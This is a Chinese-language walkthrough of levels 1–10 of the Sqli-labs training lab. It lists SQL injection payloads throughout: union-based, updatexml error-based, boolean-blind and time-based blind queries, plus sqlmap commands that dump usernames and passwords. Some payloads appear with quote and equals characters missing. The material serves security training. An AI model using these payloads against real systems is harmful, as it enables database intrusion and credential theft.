Sqli-labs部分关卡实战
第一关在url末尾处输入?id1发现回显用户名称则存在sql注入漏洞输入?id1‘判断sql语句是否是拼接且是字符型还是数字型。报错显示id数字附近有多余引号则该sql语句拼接且结果指定是字符型源码大概率是$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;输入?id1-- 看是否能够将后续内容成功注释成功注释则佐证我们猜测的源代码无错那么按照联合查询步骤先判断最大字段数直至报错http://localhost/sqli-labs-master/Less-1/?id1 order by 1-- 改变order by 后边数值直至http://localhost/sqli-labs-master/Less-1/?id1 order by 4-- 显示报错说明最大字段数为3再根据联合查询找回显在何处输入?id-1 union select 1,2,3-- 回显是2和3则在2和3处查询数据库的名称和版本输入?id-1 union select 1,database(),version()-- 数据库名称是security版本为5.5.53则可根据联合查询搜索该数据库的表名信息输入?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 显示数据库中所有表名后一般用户账号密码均存放在users表内故我们查询users表内字段信息输入?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers-- 显示users表内所有字段名后利用group_concat()再次查询这些字段名保存的所有内容即可输入?id-1 union select 1,2,group_concat(username,id,password) from security.users-- 第二关同上轮步骤先输入?id1发现回显用户信息则存在sql注入漏洞输入?id1‘判断sql语句是否是拼接且是字符型还是数字型。报错显示LIMIT 0,1前有多余的引号说明是数字型且无拼接语句大概率是$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;那么后续同第一关步骤输入?id1 order by 4-- #此时报错说明最大字段为3 ?id-1 union select 1,2,3-- #查看回显 ?id-1 union select 1,database(),version()-- #查看数据库名称和版本信息 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- #查看数据库表名 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers-- #查看数据库字段名 ?id-1 union select 1,2,group_concat(username,id,password) from security.users-- #查看数据库字段名保存的所有信息第三关同上轮步骤先输入?id1发现回显用户信息则存在sql注入漏洞输入?id1‘判断sql语句是否是拼接且是字符型还是数字型。报错显示在id数字附近有多余引号且还有多余括号说明是字符型且有拼接拼接还包含括号语句大概率是$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;那么后续同第一关步骤输入?id1) order by 4-- #此时报错说明最大字段为3 ?id-1) union select 1,2,3-- #查看回显 ?id-1) union select 1,database(),version()-- #查看数据库名称和版本信息 ?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- #查看数据库表名 ?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers-- #查看数据库字段名 ?id-1) union select 1,2,group_concat(username,id,password) from security.users-- #查看数据库字段名保存的所有信息第四关同上轮步骤先输入?id1发现回显用户信息则存在sql注入漏洞输入?id1‘判断sql语句是否是拼接且是字符型还是数字型。无报错信息那就再输入?id1判断报错显示在id数字附近有多余双引号且还有多余括号说明是字符型且有拼接拼接还包含括号语句大概率是$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;那么后续同第一关步骤输入?id1) order by 4-- #此时报错说明最大字段为3 ?id-1) union select 1,2,3-- #查看回显 ?id-1) union select 1,database(),version()-- #查看数据库名称和版本信息 ?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- #查看数据库表名 ?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers-- #查看数据库字段名 ?id-1) union select 1,2,group_concat(username,id,password) from security.users-- #查看数据库字段名保存的所有信息第五关同上轮步骤先输入?id1输入?id1‘判断sql语句是否是拼接且是字符型还是数字型。发现只有正确和错误判断则可通过故意触发数据库错误利用错误信息推测表明、列名和数据 报错显示id数字附近有多余引号则该sql语句拼接且结果指定是字符型源码大概率是$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;且该方法正确和错误页面不一致则采用updatexml报错型注入输入#查版本号 ?id1 and updatexml(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) --#查询数据库 ?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #查询表名 ?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1)-- #查询字段名 ?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)-- #查询字段内容 ?id1 and updatexml(1,concat(0x7e,(select group_concat(id,:,username,:,password) from security.users),0x7e),1)-- 第六关输入id1‘无报错输入id1 “报错那么注入点就是id1”接下来操作同上关第七关输入id1显示输入id1’报错注入点就是id1‘#判断数据库数据库版本是否5.05.0以上才有information_schema ?id1 and ascii(substr(database(),1,1))115-- #判断数据库长度不断修改末尾数字值直至得出正确的 ?id1 and length((select database()))10-- #最终断定数据库长度为8判断数据库名称 ?id1 and ascii(substr(database(),1,1))115-- #直至查完第一个字符为s,查第二个字符 ?id1 and ascii(substr(database(),2,1))115-- #以此类推查完所有数据库名称判定为security查数据表个数 ?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())5-- #直至查完数据表个数后查每个数据表长度 ?id1 and length((select table_name from information_schema.tables where table_schemadatabase() LIMIT 0,1))5-- #直至试出第一张表长度再输入 ?id1 and length((select table_name from information_schema.tables where table_schemadatabase() LIMIT 1,1))5-- #试出第二张表长度以此类推试出所有表长查看数据库每个数据表名称 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() LIMIT 0,1),1,1))115-- #直至查看到第一张表的第一个字符再输入 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() LIMIT 0,1),2,1))115-- #直至查看到第一张表的第二个字符以此类推查完第一张表后输入 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() LIMIT 1,1),1,1))115-- #直至查看到第二张表的第一个字符以此类推查完所有表查看user表中字段个数 ?id1 and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameuser)5-- #查完个数查每个字段长度 ?id1 and length((select column_name from information_schema.columns where table_schemadatabase() and table_nameuser LIMIT 0,1))5-- #查看第一个字段长度再输入 ?id1 and length((select column_name from information_schema.columns where table_schemadatabase() and table_nameuser LIMIT 1,1))5-- #查看第二个字段长度以此类推查完所有字段长度再查数据库每个字段名称 ?id1 and ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameuser LIMIT 0,1),1,1)115-- #直至查到第一个字段的第一个字符以此类推查完所有字段名查看数据库当前数据表当前字段内容个数 ?id1 and (select count(username) from security.users)5-- #查看数据库当前数据表当前字段内容长度 ?id1 and length((select username from security.users LIMIT 0,1))5-- #查看数据库当前数据表当前字段内容 ?id1 and ascii(substr((select username from security.users LIMIT 0,1),1,1)115-- #直至查完第一个字段内容以此类推查password也可使用sqlmap工具进行盲注在sqlmap工具所在文件夹下启动命令行#查看所有数据库名称 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id1 --techniqueB --dbs --batch#查看当前数据库所有数据表名称 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id1 --techniqueB -D security --tables --batch#查看当前数据库数据表中字段名称 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id1 --techniqueB -D security -T users --columns --batch#查看当前字段内容 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id1 --techniqueB -D security -T users -C username,password --dump第八关输入正确的id1返回you are in输入错误的id1 ’则无回显依旧布尔盲注第九关输入任何参数都只返回you are in点开F12在网络的耗时中发现输入?id1 and if(11,sleep(5),1)-- 明显响应时间增长说明注入点为id1‘查看数据库版本是否5以上?id1 and if(left(version(),1)5,sleep(5),1)-- 查看数据库长度?id1 and if(length((select database()))10,sleep(5),1)-- 其操作同布尔盲注步骤只是外面封装if函数即可甚至也可以使用sqlmap第十关注入点为id1“其余步骤同上关